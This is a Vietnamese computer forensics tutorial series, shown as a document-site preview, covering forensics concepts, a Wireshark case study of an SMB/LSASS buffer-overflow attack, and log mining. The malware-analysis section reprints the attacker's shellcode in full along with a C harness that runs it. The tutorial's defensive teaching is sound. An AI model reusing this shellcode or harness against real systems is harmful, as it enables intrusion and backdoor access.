1. Trang chủ
  2. » Tất cả

Tổng quan về computer forensics

33 2K 13
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 33
Dung lượng 920,01 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Trong loạt bài viết sắp tới, tôi hy vọng sẽ giúp các bạn hiểu hơn về Computer Forensics và công việc của những người làm trong lĩnh vực này.. Trong lĩnh vực an toàn thông tin, Computer F

Trang 1

Mục lục Contents

Trang 2

Forensic 1 - Tổng quan về Computer Forensics

Có thể bạn đã đọc được ở đâu đó về Forensics, Digital Forensics hay Computer Forensics nhưng vẫn chưa có một hình dung cụ thể về các khái niệm này Thực tế thì Computer Forensics không phải là khái niệm xa lạ với người làm

an toàn thông tin, nhưng với số đông chúng ta ở đây thì có lẽ nó vẫn còn là một thứ khá mới mẻ Trong loạt bài viết sắp tới, tôi hy vọng sẽ giúp các bạn hiểu hơn về Computer Forensics và công việc của những người làm trong lĩnh vực này.

Computer Forensics Là gì ?

Trong lĩnh vực an toàn thông tin, Computer Forensics hay còn gọi là điều tra

số là công việc phát hiện, bảo vệ và phân tích thông tin được lưu trữ, truyền tải hoặc được tạo ra bởi một máy tính hoặc mạng máy tính, nhằm đưa ra các suy luận hợp lý để tìm nguyên nhân, giải thích các hiện tượng trong quá trình điều tra.

Khái niệm Forensics(Forensic Science - khoa học pháp y) như tên gọi của nó xuất phát từ lĩnh vực y tế từ thế kỷ 18 và liên quan đến điều tra pháp y Ngày nay Forensics đã được mở rộng ra rất nhiều lĩnh vực khác.

Computer Forensics ra đời vào những năm 1980 do sự phát triển của máy tính cá nhân, khi xảy ra trộm cắp thiết bị phần cứng, mất mát dữ liệu, vi

Trang 3

phạm bản quyền, virus máy tính phá hoại Các doanh nghiệp và chính phủ các nước khi đó cũng ý thức hơn về vấn đề bảo mật.

Từ đây và trong các loạt bài về sau, khi tôi dùng từ Forensics thì mọi người hiểu là đang nói về Computer Forensics.

Mục tiêu ?

Mục tiêu cốt lõi của Computer Forensic là phát hiện, bảo quản, khai thác, tài liệu hóa và đưa ra kết luận về dữ liệu thu thập được Cần lưu ý rằng dữ liệu phải đảm bảo tính xác thực, và được lấy mà không bị hư hại, nếu không dữ liệu đấy sẽ không còn ý nghĩa.

Tại sao phải Forensics ?

Nếu bạn là chủ nhân của một website nào đấy, một ngày đẹp trời website của bạn bị hacker ghé thăm và để lại những hậu quả không mong muốn Bạn muốn xác định nguyên nhân bị tấn công, tìm cách khắc phục để sự việc không tái diễn hay xa hơn là xác định thủ phạm Đó là lúc bạn cần đến Forensics Đấy chỉ là một ví dụ khá điển hình, ngoài ra còn những trường hợp khác như

để phát hiện mã độc trên máy tính, kiểm tra sự bất thường trong mạng, phát hiện sự xâm nhập Nói chung Forensics giúp chúng ta xác định được nguyên nhân sự cố và đưa ra các biện pháp giải quyết tiếp theo.

Nói về Forensics thì không thể không nhắc đến một nguyên tắc kinh điển của khoa học điều tra

Nguyên tắc trao đổi của Locard

Edmond Locard(1877 – 1966) được mệnh danh là Sherlock Holmes của nước Pháp Ông là một chuyên gia điều tra pháp y, sáng lập Viện Hình sự học của trường Đại học Tổng hợp Lyon

Locard phát biểu một nguyên tắc mà sau này trở thành kim chỉ nam ngành khoa học điều tra Ông ta cho rằng bất cứ khi nào hai người tiếp xúc với nhau, một thứ gì đó từ một người sẽ được trao đổi với người khác và ngược lại Có thể là bụi, tế bào da, bùn đất, sợi, mạt kim loại Nhưng việc trao đổi

Trang 4

này có xảy ra - vì thế chúng ta có thể bắt được nghi phạm.

Với Computer Forensics, nguyên tắc này cũng hoàn toàn đúng Khi bạn làm việc với máy tính hay một hệ thống thông tin, tất cả hành động của bạn đều

bị ghi vết lại (mặc dù việc tìm ra thủ phạm trong trường hợp này khó khăn và mất nhiều thời gian hơn rất nhiều)

Đặc điểm của Computer Forensics

Dữ liệu cần phân tích lớn, nếu dữ liệu chỉ là text thôi thì với dung

lượng vài mb chúng ta cũng có 1 lượng thông tin rất lớn rồi Trong thực tế thì còn khổng lồ hơn.

Dữ liệu thường không còn nguyên vẹn, bị thay đổi, phân mảnh, và có thể bị lỗi

Bảo quản dữ liệu khó khăn, dữ liệu thu được có thể có tính toàn vẹn cao, chỉ một thay đổi nhỏ cũng có thể làm ảnh hưởng đến tất cả.

Dữ liệu forensic có thể gồm nhiều loại khác nhau: file hệ thống, ứng dụng,

Vấn đề cần forensics là khá trừu tượng: mã máy, dump file, network packet

Xác định tội pham khó khăn, có thể bạn tìm ra được dữ liệu về

hacker(IP, email, profile ) nhưng để xác định được được đối tượng thật

ngoài đời thì cũng không hề đơn giản.

Forensics những gì ?

Computer Forensic thường làm việc với những đối tượng sau:

Physical Media, Media Management: Liên quan đến phần cứng, tổ chức phân vùng, phục hồi dữ liệu khi bị xóa

File System: Phân tích các file hệ thống, hệ điều hành windows, linux, android

Trang 5

Application: Phân tích dữ liệu từ ứng dụng như các file Log, file cấu hình, reverse ứng dụng

Network: Phân tích gói tin mạng, sự bất thường trong mạng

Memory: Phân tích dữ liệu trên bộ nhớ, thường là dữ liệu lưu trên RAM được dump ra

Ai làm Forensic ?

Những người làm công việc Forensics thường phải có kinh nghiệm và kiến thức khá rộng về khoa học máy tính, mạng, bảo mật Trong những trường hợp cần kiến thức chuyên sâu, sẽ có nhiều người cùng tham gia để giải quyết

Ở các doanh nghiệp lớn, những người làm An toàn vận hành(Security

Operator) sẽ đảm nhận công việc này

Với những người làm bảo mật thì đây cũng là một công việc rất thú vị.

Forensic 2 - Network Forensics

Trong bài Tổng quan về Computer Forensics lần trước, tôi đã đề cập qua về khái niệm Forensics, đặc điểm cũng như những mảng Forensics thường tiếp cận Nội dung bài viết lần này, tôi muốn đề cập cụ thể hơn về Forensics trên môi trường mạng, hay còn gọi là Network Forensics.

Công việc chính của nhóm này là thu thập và phân tích các gói tin được

truyền qua các thiết bị đầu cuối, từ đó phát hiện, cảnh báo các dấu hiệu bất thường trong hệ thống mạng.

Cũng phải nói thêm, trong lĩnh vực Forensics, công cụ là thứ không thể thiếu sau kiến thức và với mỗi loại thì thường có những công cụ chuyên dụng Bạn

sẽ thấy rõ điều này qua bài này và các bài chi tiết khác về sau Với Network Forensics, chúng ta có

• Wireshark, Network Miner bắt và phân tích gói tin với giao diện đồ họa

• Tcpdump phân tích gói tin với giao diện console

• p0f dùng để phát hiện hệ điều hành, console trên nền Linux

Trang 6

• netcat, debug kết nối, đóng vai trò cả client và server, console trên windows

và linux

• Snort, opensource phát hiện xâm nhập

• Nmap, tcpxtract, ssldump, nslookup, maxmind và rất nhiều công cụ

khác

Case-Study: Một máy tính trong mạng nội bộ bị nghi ngờ tấn công từ xa, quản trị mạng dùng những công cụ chuyên dụng bắt các kết nối đến máy nạn nhân trong thời gian diễn ra cuộc tấn công Sau đó dump ra toàn bộ nội dung này

ra file( Link tải ) Yêu cầu phân tích file dump và tìm ra nguồn gốc và nguyên nhân vụ tấn công để có giải pháp khắc phục

Để giải quyết yêu cầu trên, chúng ta sẽ lần lượt vượt qua từng vấn đề nhỏ Lưu ý ở đây file dump có đuôi mở rộng pcap(packet capture), tôi sẽ sử dụng wireshark là công cụ phân tích chính Wireshark là một chương trình bắt và phân tích gói tin, giao thức rất mạnh, chi tiết về nó mọi người có thể tìm hiểu thêm ở những tài liệu khác.

1 Địa chỉ IP của kẻ tấn công và của nạn nhân

Mở file pcap bằng wireshark, chúng ta có thể thấy ngay danh sách các gói tin truy cập đến máy nạn nhân

Vào Menu Statistics/Enpoint List/IP v4 để xem danh sách các IP bắt được.

Trang 7

Có tất cả 2 IP:

• 192.150.11.111 là IP nội bộ, chính là IP của nạn nhân

• 98.114.205.102 là IP của kẻ tấn công

2 Thông tin về kẻ tấn công

Xem xét một gói tin cụ thể:

Trang 8

Thông tin trong khung chi tiết gói tin, cho ta biết máy kẻ tấn công có địa chỉ MAC là 0008e23b5601(Cisco)

Để tìm thêm thông tin về IP, bạn có thể dùng các công cụ geoip, whois trực tuyến hay tích hợp luôn và wireshark như hướng dẫn ở bài này

http://forum.whitehat.vn/threads/541 Wireshark.html

Tôi sử dụng trang http://cqcounter.com/ và ra được một số thông tin như thế này:

3 Có bao nhiêu phiên TCP(TCP session) trong file dump này ?

Khi nhìn vào khung chính của wireshark bạn sẽ thấy có rất nhiều gói tin, nhưng phần lớn trong chúng là những gói tin chào hỏi, xác thực, truyền nhận

dữ liệu của một phiên TCP nào đó

Để xem số phiên TCP hiện có, vào Menu Statistics > Conversations, tab TCP Chúng ta sẽ thấy thực tế chỉ có 5 phiên qua các cổng khác nhau:

Trang 9

4 Cuộc tấn công kéo dài bao lâu ?

Chỉ cần xem thời gian của frame đầu tiên và frame cuối cùng là sẽ câu trả lời

- Frame đầu tiên:

- Frame cuối cùng:

Như vậy cuộc tấn công diễn ra trong khoảng 16 giây.

5 Dịch vụ nào trên máy nạn nhân có thể là mục tiêu tấn công ? Lỗ hổng

là gì ?

Nhìn vào các phiên TCP được liệt kê phía trên, tôi chú ý đến cổng 445 của máy nạn nhân Đây là cổng chạy giao thức SMB(Server Message Block), cung cấp khả năng chia sẻ file giữa các máy tính hoặc máy in và máy tính SMB từng được biết đến với việc dính một số lỗ hổng bảo mật.

Trang 10

Lọc các Packet theo info, duyệt lần lượt tôi phát hiện thêm một nghi vấn mới:

Nếu bạn thử Google thì sẽ biết DsRoleUpgradeDownlevelServer là một hàm trong thư viện NETAPI32.dll chạy dịch vụ Local Security Authority Subsystem Service(LSASS) trên windows thông qua giao thức SMB

Và điều quan trọng là LSASS từng bị dính lỗi bảo mật với hàm

DsRoleUpgradeDownlevelServer(), chi tiết lỗi được công bố tại 0533( http://www.cve.mitre.org/cgi-bin/cve =CAN-2003-0533 ) Microsoft cũng đã đưa ra bản vá cho lỗi này với mã update MS04-

CVE-2003-011( http://technet.microsoft.com/en-us/s letin/ms04-011 ).

Từ đây chúng ta có thêm một kết luận là máy tính nạn nhân chạy hệ điều hành windows, cụ thể là windows xp hoặc windows 2000 Bạn có thể kiểm tra điều này bằng việc lọc các gói tin SMB và xem thuộc tính native OS trong đó:

Trang 11

Vậy là chúng ta đã biết được một số thông tin về kẻ tấn công, biết được dịch

vụ nào trên máy nạn nhân là mục tiêu của cuộc tấn công này Tôi tạm dừng ở đây, ở bài tiếp theo chúng ta sẽ phân tích kỹ hơn cách hacker thực hiện vụ tấn công, hắn đã làm như thế nào để khai thác lỗ hổng trên.

Forensic 3 - Network Forensics(tiếp)

Chúng ta tiếp tục với Case Study về Network Forensics, trong phần này tôi sẽ

đề cập sâu hơn về cuộc tấn công của Hacker

6 Mô phỏng lại cuộc tấn công của Hacker

6.1 Quét cổng 445 để xem cổng này có mở không, điều này thể hiện qua các gói tin SYN, SYN/ACK, ACK, FYN liên tục

Trang 12

6.2 Thiết lập kết nối IPC và request đến dịch vụ lsarpc

Bạn đọc có thể tìm hiểu thêm về hình thức kết nối IPC$, ở đây hacker đã gửi kết nối với giá trị username và password đều rỗng, còn được biết đến với kiểu tấn công Null Session.

Trang 13

6.3 Khai thác lỗi Buffer Over Flow của hàm

DsRoleUpgradeDownlevelServer() thông qua việc truyền shellcode(Frame

#33)

Trang 14

6.4 Shellcode mở cổng 1957 cho phép backdoor chạy trên đó, hacker qua cổng này truyền command vào(Frame #42)

Trang 15

Mọi người có thể chú ý thêm các frame từ #71 về sau, đây là các đoạn nhận file ssms.exe, file được gửi qua socket thành các mảnh nhỏ và ghép lại sau đó

Trang 16

7 Truy tìm mã độc

Như vậy là chúng ta đã hình dung được cuộc tấn công xảy ra như thế nào, nhưng một vụ điều tra thì không chỉ có vậy Phải xác định được mã độc mà hacker sử dụng hoạt động như thế nào, nhưng trước hết cần thu được mẫu này.

Đầu tiên là Shellcode mà hacker đã sử dụng Chọn Frame #33, trong khung Packet Bytes chọn chế độ Reassembled TCP chúng ta sẽ thấy đầy đủ nội dung

mà hacker gửi đến máy nạn nhân.(Khi gửi tin qua TCP thì dữ liệu có thể phân mảnh ở nhiều gói tin khác nhau, Reassembled TCP sẽ giúp chúng ta ghép các mảnh dữ liệu này lại với nhau)

Trang 17

Sau khi loại bỏ các lệnh NOPE(mã 90) thì thu được shellcode thực sự mà hacker đã dùng:

Mã:

\

xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x7d\x01\x80\x34\x0a\x99\xe2\xfa\xe b\x05\xe8\xeb\xff\xff\xff\x70\x95\x98\x99\x99\xc3\xfd\x38\xa9\x99\x9 9\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91\x12\x41\x12\xea\xa5

\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a\x62\x12\xd7\x8d\xaa\x74\

Trang 18

\xc6\x1a\x5e\x9d\xdc\x7b\x70\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x 5a\x48\x78\x9a\x58\xaa\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78

\x9b\x9a\x58\x12\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\ xf3\x9a\xc0\x71\x1e\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3

\x12\x41\xf3\x9c\xc0\x71\xed\x99\x99\x99\xc9\xc9\xc9\xc9\xf3\x98\xf 3\x9b\x66\xce\x75\x12\x41\x5e\x9e\x9b\x99\x9e\x3c\xaa\x59\x10\xde\ x9d\xf3\x89\xce\xca\x66\xce\x69\xf3\x98\xca\x66\xce\x6d\xc9\xc9\xca\ x66\xce\x61\x12\x49\x1a\x75\xdd\x12\x6d\xaa\x59\xf3\x89\xc0\x10\x9 d\x17\x7b\x62\x10\xcf\xa1\x10\xcf\xa5\x10\xcf\xd9\xff\x5e\xdf\xb5\x9 8\x98\x14\xde\x89\xc9\xcf\xaa\x50\xc8\xc8\xc8\xf3\x98\xc8\xc8\x5e\x de\xa5\xfa\xf4\xfd\x99\x14\xde\xa5\xc9\xc8\x66\xce\x79\xcb\x66\xce\x 65\xca\x66\xce\x65\xc9\x66\xce\x7d\xaa\x59\x35\x1c\x59\xec\x60\xc8

\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59\x5a\x71\x76\x67\x 66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd\xeb\xfc\xea\xea\x99\xd a\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xdc\xe1\xf0\ xed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xe b\xe0\xd8\x99\xee\xea\xab\xc6\xaa\xab\x99\xce\xca\xd8\xca\xf6\xfa\xf 2\xfc\xed\xd8\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\ xfa\xfa\xfc\xe9\xed\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99 Chúng ta tiến hành phục hồi shellcode này bằng cách đưa đoạn shellcode này vào một chương trình test shell như thế này:

Trang 19

int (*ret)() = (int(*)())code;

ret();

}

Với file ssms.exe, như tôi đã trình bày ở phần trước được download về máy nạn nhân thông qua socket và cũng bị phân mảnh trong nhiều gói tin Gộp file đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark

Trang 20

Save As file này ra exe

8 Phân tích mã độc

Ở bước trên, chúng ta đã thu được một file shellcode và một file ssms.exe Việc tiếp theo là phân tích cụ thể xem những file thực thi này làm việc gì trên máy nạn nhân Bạn đọc nên đọc thêm lọat bài về Reverse Engineering trên WhiteHat để hiểu rõ về công việc này

Tôi sẽ không phân tích kỹ bước này ở đây, lí do là sẽ vượt xa phạm vi chủ đề Network Forensics Kết quả kiểm tra ssms.exe trên virustotal cũng không mấy ngạc nhiên khi 48/51 AV nhận diện là virus:

https://www.virustotal.com/en/file/b is/1396850758/

Đến đây cuộc điều tra cũng có thể xem như đi đến hồi kết, chúng ta đã tìm ra được một số thông tin về hacker (mặc dù để tìm ra kẻ tấn công ngoài đời thì cần phụ thuộc cả vào yếu tố pháp luật hơn) Dưới góc độ kỹ thuật thì chúng

ta biết được cách hacker tấn công hệ thống như thế nào, biết được hệ thống

bị dính những lỗ hổng gì và những nguy cơ tiềm ẩn trong đó để cập nhật bản

vá và khắc phục sự cố không tái diễn trong tương lai.

Forensic 4 - Log Mining

Log là một dữ liệu quan trọng trong quá trình điều tra số, hầu như tất cả dấu vết của một cuộc tấn công đều được lưu lại tại đây

Log Mining hay Log Forensics là thuật ngữ để chỉ về một cuộc điều tra dựa trên Log.

Mặc dù chứa rất nhiều thông tin có ích, nhưng việc phân tích Log lại không

hề đơn giản Dữ liệu lớn, nhiều file riêng lẻ, mỗi loại có một cấu trúc khác nhau và có thể bị xóa, sửa đổi là những bất lợi khi làm việc với Log

Việc phân tích Log có thể sử dụng một số công cụ như:

Trang 21

• Apache Log Viewer(chuyên dùng phân tích log Apache)

• Log Parse(chuyên dùng phân tích các loại log của Microsoft như IIS,

NCSA )

• Logwatch(monitor log trên linux)

• Web Log Expert

• Splunk(monitor, phân tích big data, các log dung lượng lớn, mất phí)

Toàn bộ log ở đây đều trên linux, để hiểu hơn về các loại log trong môi

trường này bạn nên xem qua ở đây:

Apr 19 05:26:08 app-1 sshd[7371]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.17.30.49 user=root Apr 19 05:26:10 app-1 sshd[7371]: Failed password for root from 58.17.30.49 port 53453 ssh2

Ngày đăng: 14/12/2021, 19:33

TỪ KHÓA LIÊN QUAN

TRÍCH ĐOẠN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w